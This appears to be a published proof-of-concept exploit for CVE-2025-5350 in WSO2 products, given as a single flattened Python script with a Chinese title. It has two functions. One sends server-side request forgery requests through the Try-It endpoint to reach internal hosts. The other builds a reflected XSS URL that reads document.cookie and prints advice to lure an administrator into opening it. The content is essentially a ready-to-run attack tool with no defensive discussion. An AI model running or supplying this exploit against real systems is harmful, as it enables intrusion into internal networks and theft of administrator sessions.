CVE-2025-5350 WSO2产品Try-It功能SSRF与反射型XSS漏洞

# CVE-2025-5350 PoC - SSRF and Reflected XSS in WSO2 Try-It Feature import requests import argparse def exploit_ssrf(target_url, internal_target): """ Exploit SSRF vulnerability in WSO2 Try-It feature Args: target_url: Target WSO2 admin console URL internal_target: Internal resource to target (e.g., http://localhost:8080) """ exploit_url = f"{target_url}/carbon/admin-login/tryit.jsp" payload = { 'url': internal_target, 'method': 'GET' } try: response = requests.post(exploit_url, data=payload, timeout=10) print(f"[*] Request sent to: {internal_target}") print(f"[*] Response status: {response.status_code}") print(f"[*] Response length: {len(response.text)} bytes") return response.text except Exception as e: print(f"[!] Error: {e}") return None def exploit_reflected_xss(target_url, xss_payload): """ Exploit Reflected XSS vulnerability in WSO2 Try-It feature Args: target_url: Target WSO2 admin console URL xss_payload: Malicious JavaScript payload """ encoded_payload = requests.utils.quote(xss_payload) exploit_url = f"{target_url}/carbon/admin-login/tryit.jsp?url=javascript:alert(document.cookie)&content={encoded_payload}" print(f"[*] Crafted XSS URL: {exploit_url}") print(f"[*] Induce admin to visit this URL to execute: {xss_payload}") return exploit_url if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-5350 Exploitation') parser.add_argument('--url', required=True, help='Target WSO2 URL') parser.add_argument('--mode', choices=['ssrf', 'xss'], required=True) parser.add_argument('--target', help='Internal target for SSRF') parser.add_argument('--payload', help='XSS payload') args = parser.parse_args() if args.mode == 'ssrf' and args.target: exploit_ssrf(args.url, args.target) elif args.mode == 'xss' and args.payload: exploit_reflected_xss(args.url, args.payload)